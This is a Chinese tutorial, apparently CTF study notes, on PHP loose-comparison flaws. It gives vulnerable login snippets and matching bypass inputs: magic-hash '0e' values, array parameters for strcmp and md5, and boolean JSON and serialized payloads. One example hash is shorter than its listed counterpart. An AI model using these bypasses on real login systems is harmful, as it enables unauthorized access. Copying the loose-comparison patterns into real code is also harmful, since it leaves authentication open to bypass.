PHP 的非严格比较(==
)规则:
若类型不同,则进行隐式类型转换。
字符串和数字比较时,字符串会转换成数字(如果可能的话)。
无法转换成数字的字符串会变成 0
,然后再进行比较。
正常情况
$type=$_GET['pay'];
if($type == 'pay'){ //这里使用双等号进行判断
echo "正常进入支付逻辑";
}else{
echo "退出进入支付逻辑";
}
?pay==pay 显示正常进入支付逻辑
?pay==payssss 显示退出进入支付逻辑
不正常情况
$type=$_GET['pay'];
if(0 == '0aaa'){
echo "正常进入支付逻辑";//这里使用双等号进行判断
}else{
echo "退出进入支付逻辑";
}
?pay==payssss 显示正常进入支付逻辑
原因:
0 == '0aaa'
,因为 PHP 先将 '0aaa'
转换为数字 0
,再进行比较。
0 == 0
,所以判断条件成立,造成绕过。
案例
var_dump(0 == 'pay');//true
var_dump('0e123456789'==0);// bool(true)
var_dump('0e123456789'=='0');// bool(true)
var_dump('0e1234abcde'=='0');// bool(false)
当两个值的类型相等时,就会正常比较,所以最后一个为false
实战思考
应用场景:后台登录时,账号密码的比对,密码经常会采用MD5加密
include 'config.php';
$user=$_GET['username'];
$pass=md5($_GET['password']);//因为数据库中存储的密码都是进行加密过的,所以要把输入的值也进行加密然后代入数据库进行比对
代码逻辑:
MD5 以 0e
开头时可触发弱比较
$a = $_GET['pwd'];
$password = "0e50936721341820084200876514"; //注意:这里管理员密码md5的值是以0e开头的,如果没有看到0e而直接去解md5九成是解不出来的
if(md5($a) == $password){ //注意:这里是两个等号"=="进行判断,若是"==="则不存在弱类型hash比较缺陷
echo '恭喜进入后台';
}else{
echo '登录失败';
}
绕过方式:
?pwd=240610708
?pwd=QNKCDZO
?pwd=s1885207154a,
传递这3个值都显示登录成功
原因 :由于 0e 开头的字符串被 PHP 解析为科学计数法 0
,导致 0 == 0
,从而绕过
列举MD5值开头为0e的值
QNKCDZO
0e830400451993494058024219903391
240610708
0e462097431906509019562988736854
s878926199a
0e545993274517709034328855841020
s155964671a
0e342768416822451524974117254469
s214587387a
0e848240448830537924465865611904
s214587387a
0e848240448830537924465865611904
s878926199a
0e545993274517709034328855841020
s1091221200a
0e940624217856561557816327384675
s1885207154a
0e509367213418206700842008763514
$password="***************";
if(isset($_GET['password'])) {
if (strcmp($_GET['password'], $password) == 0) {
echo "Right!!!login success";
exit();
} else {
echo "Wrong password..";
}
}
输入:?password=*************** 显示 Right!!!login success
输入:其他的 显示 Wrong password…
绕过方式:?password[]=xxxx
原理: 低版本的`strcmp比较的是字符串内容大小,如果强行传入其他类型参数,会出错,出错后返回值0,strcmp正常比较两值结果相等时返回的值为0,正是利用这点进行绕过
原理: 在使用 json_decode() 函数或 unserialize() 函数时,部分结构被解释成 bool 类型,某些输入会被解析成 true
,导致绕过。
json_decode()
//可以当作是后台登录的验证
<?php
$str=$_GET['s'];
$data = json_decode($str,true);
if ($data['user'] == 'xiaodi' && $data['pass']=='xiaodisec')
{
print_r(' 登录成功! '."\n");
}else{
print_r(' 登录失败! '."\n");
}
绕过方式:?s={“user”:true,“pass”:true} 显示登录成功
unserialize()
$str=$_GET['s'];
$data = unserialize($str);
if ($data['user'] == 'root' && $data['pass']=='xiaodi')
{
print_r(' 登录成功! '."\n");
} else{
print_r(' 登录失败! '."\n");
}
正常输入:?s=a:2:{s:4:“user”;s:4:“root”;s:4:“pass”;s:6:“xiaodi”;}
PHP 的序列化格式解析:
a:2;
→ 数组(array),包含 2 个元素。{...}
→ 数组的内容。s:4:"user";
→ 键 “user”,是一个长度为 4 的字符串。s:4:"root";
→ 值 “root”,是一个长度为 4 的字符串。s:4:"pass";
→ 键 “pass”,是一个长度为 4 的字符串。s:6:"xiaodi";
→ 值 “xiaodi”,是一个长度为 6 的字符串。绕过方式:?s=a:2:{s:4:“user”;b:1;s:4:“pass”;b:1;}
(其中 b:1 表示为 布尔类型 ,为true)
$num =$_GET['n'];
switch ($num) {
case 0:
echo "say none hacker ! ";
break;
case 1:
echo "say one hacker ! ";
break;
case 2:
echo "say two hacker ! ";
break;
default;
echo "I don't know ! ";
}
绕过方式:?n=1safafafaf
原理:当在 switch 中使用 case 判断数字时,switch 会将其中的参数转换为 int 类型进行计算,只要第一值对应上了,后面的就不判断了
$array=[0,1,2,'3'];
var_dump(in_array('abc', $array));//true
var_dump(array_search('abc', $array));//0: 下标
var_dump(in_array('1dsdsdsbc', $array));//true
var_dump(array_search('1bc', $array));//1: 下标
原理: 当使用in_array()或array_search()函数时,如果第三个参数没有设置为true,则in_array()或array_search()将使用松散比较来判断
当加了第三个参数,那么就是强对比===
注意此时遇到的是 “===” ,不过也不是代表无从下手。在md5()函数传入数组时会报错返回NULL,当变量都导致报错返回NULL时就能使使得条件成立。
error_reporting(0);
$flag = 'flag{test}';
if (isset($_GET['username']) and isset($_GET['password'])) {
if ($_GET['username'] == $_GET['password'])
print 'Your password can not be your username.';
else if (md5($_GET['username']) === md5($_GET['password']))
die('Flag: '.$flag);
else
print 'Invalid password';
}
$_GET['username'] == $_GET['password']
==
,所以会进行类型转换。username
和 password
不相等,否则会触发第一个 if
,导致失败。md5($_GET['username']) === md5($_GET['password'])
===
,意味着 要求两者完全相等(包括数据类型和内容)。md5()
处理数组的特殊情况在 PHP 中:
var_dump(md5([])); // NULL
md5()
处理数组时,会报错并返回 NULL
。NULL === NULL
是成立的,我们就可以让 md5($_GET['username'])
和 md5($_GET['password'])
都等于 NULL
,从而绕过 ===
。?username[]=1&password[]=0
要绕过 ===
,必须让两个变量:
NULL
(如 md5([]) === md5([])
)。false
(如 strcmp([], []) === strcmp([], [])
)。0
(如 intval([]) === intval([])
)。""
(如 json_encode([]) === json_encode([])
)。[] === []
。这些方法通常依赖 PHP 函数返回值的特殊行为
https://mp.weixin.qq.com/s/k1hRg7cmRwwJJyyX04Ipmg
是会员登录和后台登录,条件是必须是密文为0e所以没什么用
https://ctf.bugku.com/challenges/detail/id/72.html
https://ctf.bugku.com/challenges/detail/id/94.html